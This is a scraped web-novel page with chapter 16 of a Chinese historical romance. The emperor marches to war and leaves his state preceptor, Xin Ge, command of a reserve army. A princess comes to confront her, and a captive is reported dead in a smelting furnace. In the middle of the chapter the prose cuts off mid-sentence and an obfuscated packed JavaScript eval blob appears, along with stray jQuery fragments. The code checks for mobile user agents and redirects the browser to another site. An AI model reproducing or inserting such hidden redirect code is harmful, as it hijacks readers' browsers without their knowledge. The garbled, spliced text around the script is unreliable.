默认冷灰
24号文字
方正启体

16. 孤鸟

作者:高弥药本书字数:K更新时间:
    号角声穿透窗子,辛鸽在榻上惊醒,身侧已凉。


    迷蒙中才忆起今日就是大军开拔的日子。


    她正要下榻,瞥见床角银光一闪。像是个金属物件儿。


    两个小宫娥举铜盆趋步上前道:“国师大人,陛下口谕,您醒来后去宫外大校场寻他。”


    其中一宫娥呈上一套紫檀对襟袖衫配素白长裙,是南黎制样式。


    戟琮从不迫她穿胡服,可她顶着国师名头,若再以汉家装扮出现在三军前,未免动摇军心。


    辛鸽摸摸发髻,对小宫娥道:“衣服且留下,另替我梳个西煌编发吧。”


    步出殿门。


    轿辇旁的焉明山已候了许久。


    他平日吊儿郎当,今日也挂一身盔甲,肃穆异常。


    辛鸽脚步一顿,随口道:“焉护卫也要随陛下出征?”


    焉明山是戟琮最贴身的防线,又在翊卫司任职指挥使。


    往日有战事,他都是雷打不动守在宫中护卫王庭安危。今日竟连他也要随军。


    焉明山只略略俯身:“陛下有命,属下自当随行。”


    轿辇一路行至校场。


    铁林军列阵,旌旗蔽日。点将台下立着三男一女。


    女子身着暗红披风,右手握马鞭。飒沓流星不输男人。


    戟琮站在她前方。身姿巍峨,不知说了句什么,女子连连点头,眼中满是崇拜爱慕。戟琮甚少对人假以辞色,竟也勾了勾唇角。


    辛鸽觉得那女子眼熟。细细回忆,便了然于心。


    是曾率领三百牦牛兵收复叛乱小部落的赫氏贵女,赫珠云。


    焉明山刚要上前通报,被辛鸽抬手制止。


    赫珠云眼神一飘,恰好撞见远处静立的辛鸽,一阵怔忪。


    戟琮顺势转身。目光凝在她的编发上。垂下的发髻如何彩绳与宝石串成的装饰,更衬她肌肤薄白生光。


    他面色一沉,冲焉明山低斥道:“国师来了为何不通报?”


    焉明山刚要请罪,辛鸽规规矩矩地福了福身子:“见陛下在议军机,不敢扰。”


    戟琮看了她片刻,沉声道:“你过来。”


    辛鸽在万军瞩目下走上高台。


    自觉立在他身后。然而戟琮却自然地向后退一步,与她并肩而立。


    文荣为首的几位将领大都面色不好看。


    臣下都需落后半步。更何况一亡国孀妇,怎可与帝王并肩立在万军前。


    赫珠云目光粘着她,容颜经霜未凋,比五年前更美。


    可她的眼神却如无欲无求,从前的恣意媚骨已然不在。


    赫珠云还记得,曾经的她,不费半分心思就能牵走戟琮的目光。她谈星象论兵法时的从容,是旁人难企及的天赋。


    视线下落至领口,雪白的后颈,红痕在肌肤上靡艳。


    赫珠云垂下眼,最后一点侥幸也随之破灭。


    戟琮不动声色的打量她。


    “好看吗?”辛鸽唇畔浮起笑意。


    戟琮几乎要点头,却生生止住。像在跟自己较劲。


    “朕许你循南黎规制,怎得改梳编发,反倒穿得两不相属?”


    她缓缓道:“织锦之所以漂亮,是因经纬各异才能成纹。若一味求齐,看起来井然,实则纹理尽失。久而久之,锦不成锦,人亦难安。”


    戟琮敛眸,故意不接话。


    这意有所指的腔调。恐怕又是为了她的南黎。


    他太清楚自己,只要辛鸽明确开口,他必会为了她退让。可他偏要按着这冲动。于是抬手指下列的军阵,转开话题。


    “大煌军队分十二个监军司,设左右两厢。文乞为右将军,文荣为左将军…...”


    辛鸽不知他提这些何意,监军司除了他,谁还能调动的了。


    他目色沉和,话锋一转:“朕会将文乞和右厢军留在宫中。若有事,你作为国师有权调动。”


    辛鸽难以置信望向他:“右厢军是陛下最得力的伏兵,擅奇袭断后。绝不能留守!”


    依照星象与局势,汪古部分明是趁火打劫,并无决战之心。但局势瞬息万变,若兵力布阵不能形成绝对震慑,假戏也会真做。


    戟琮天生将才,比谁都清楚少了这支奇兵,前线风险会增加几分。


    “朕如何用兵还要你来指点?”


    戟琮看了眼整装待发的将领。“前线有其他将领,再加上焉明山足矣。”


    辛鸽没去接那块牌子。


    这座王城没人希望这权柄落在她掌中。而戟琮却把最坚固的盾放在她面前。


    他从一开始,就没打算让独留这遍布魑魅魍魉的的深宫。


    号角声再次催促主帅启程。


    戟琮将令牌按进她掌心∶“朕会让文乞寸步不离守着你。若你再生出不告而别的心思,大可试试后果能否承受。”


    未竟之意,凛冽刺骨。


    辛鸽见他说话难听,也冷厉回呛:“陛下多虑,妾身这双腿早过了能跑的年岁了。”


    戟琮被这话激得不快,却仍压火叮嘱。


    “既知道自己病恹恹的,平日少出星台,好生养着。任何事都可命文乞代你去办。”


    披风扬起,刚走出一步,一只手轻勾他的系带。


    戟琮倏地回头。


    “你早上落下了这个。”


    她垂睫,从袖中取出一物托在掌心,轻声道:


    “戴着吧,毕竟是保平安的......”


    戟琮深深看她一眼,抬手克制的在她鬓发上碰了碰。接过银铃,五指收紧。


    马蹄声远走,辛鸽目送大军远去,整座王城空旷寂寥。


    文乞还真寸步不离跟在身后,她回身开口,“我有件事,想劳烦将军去办。”


    “铁工院有个叫秦成的俘虏,是缪儿的夫君。他在里头受尽磋磨,想请将军即刻去铁工院,将人带回。”


    正说话间缪儿已神色焦灼赶过来,手中握着烫伤药。


    文乞抬头正撞上缪儿的眼睛,两人对视。他垂下眼帘,侧身让出一步。


    “那缪儿姑娘随我一道去吧,也好认人。”


    回到星台,辛鸽吩咐宫娥取来七支红烛,摆成北斗七星阵位。司天监偶尔会用这样的仪式祈求风调雨顺,兵戈平安。


    她净了手,点燃清香,跪坐在蒲团上。


    香灰没落,不耐的轻啧在门边响起。


    戟璋面无表情地看着一地烛火:“皇兄不在,嫂嫂这是做什么呢。”


    他斜睨着香插,冷嗤:“母后可不信日月星辰,只信巫蛊鬼神。这摆设她见了怕是要一把给你烧了。”


    辛鸽将香插


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107889|195830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好才转头看去。


    顺手拿起案上的一卷书,敲敲掌心:“前几日让你背的论语可背好了?”


    戟璋往旁边一让:“背书还是改日吧。我今日不过是引路人。”


    辛鸽目光望向门外。


    倩影缓缓走出,福了福身子。


    辛鸽面上不动声色地还了一礼:“见过公主。”兴宁公主微微一笑,并不见外地走进来。扫视一圈后感慨道。


    “我刚入宫,就看到这矗立的星台空着,不知做什么用,原来是给国师住的。”


    她捻起案上的糍糕。点心外皮透明,馅料如雪中红梅透出。看着做起来费时费工。


    “这点心我还从未尝过,前些年陛下常让膳房做这些透花糍备着。”


    兴宁公主语气轻柔,“原来也是为了国师大人。”


    辛鸽神色淡淡:“公主不嫌弃可以尝尝,不过是些家乡口味,陛下体恤下臣。”反正她如今已是尝不出太多滋味,吃什么都没差。


    兴宁公主放下点心,拿帕子擦擦手,“这宫里能得陛下如此体恤的,恐怕也就只有您一人。”


    她脸上的笑意渐渐收敛。


    “我进宫日子也不短了。陛下不宠幸,连个正经的位份都没有给我,宫里人人喊我公主,可这后宫里哪有叫公主的道理?搞得我自己都糊涂了,我还是不是下嫁来的?”


    辛鸽不想与她打哑谜,直截了当道:“公主特意让殿下引路前来,所为何事?”


    兴宁公主收了笑:“我是替太后娘娘来请国师的。明日设水陆法会,为陛下亲征祈福。太后特令后宫女眷必须到场。嘱咐国师大人也务必赏光。”


    辛鸽眉头微蹙:“水陆法会是后宫祭祀朝拜之事,我一介外臣怎可去。”


    “国师大人还觉得自己是外臣?”


    兴宁公主开口锋锐,咄咄逼人。


    “陛下为了您,将赫氏贵族的后位不知驳了几回。在这宫里谁还拿您当外臣看?”


    辛鸽身子清直,声色寂淡道:“若去,我既非宗师妻女,又非陛下姬妾。若设座,我当坐何处?坐上席是僭越,坐下席我不认。”


    辛鸽唇角得体弯起。“公主,我乃陛下亲封的国师,国师之名是君封而非家位。”


    兴宁公主脸色微僵,气势无声折断。


    戟璋倚在那儿悄悄拿过书卷。


    果然,旁人费尽心思同她讲理,到头来都会被她逼到无言以对。


    铁工院外。


    文乞大步在前,缪儿亦步亦趋。


    两人隔着距离,谁也没看谁,宛若不相识一般。


    抵达门口,文乞对迎上来的看守冷声道:“奉国师之命,来提一个叫秦成的俘虏。”


    看守脸色明显变了,眼神闪烁躲避:“回将军的话,方才炼铁炉出了点岔子。有个南人体力不支,从高台跌下去了,掉进了冶铁炉里,不知是不是将军要找的那个人”


    他声音越来越低,文乞闻言一把揪住他衣领,厉声问道:“人如今在何处?!”


    看守人脚尖离地,忙不迭答道:“当时火势太大,无人敢救,只怕已经炼成灰了……”


    药瓶滑落,缪儿脸色惨白,悄无声息地向后坠倒。


    文乞箭步上前来,臂膀将人接入怀中。


    风从炼炉方向吹过,气息呛鼻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)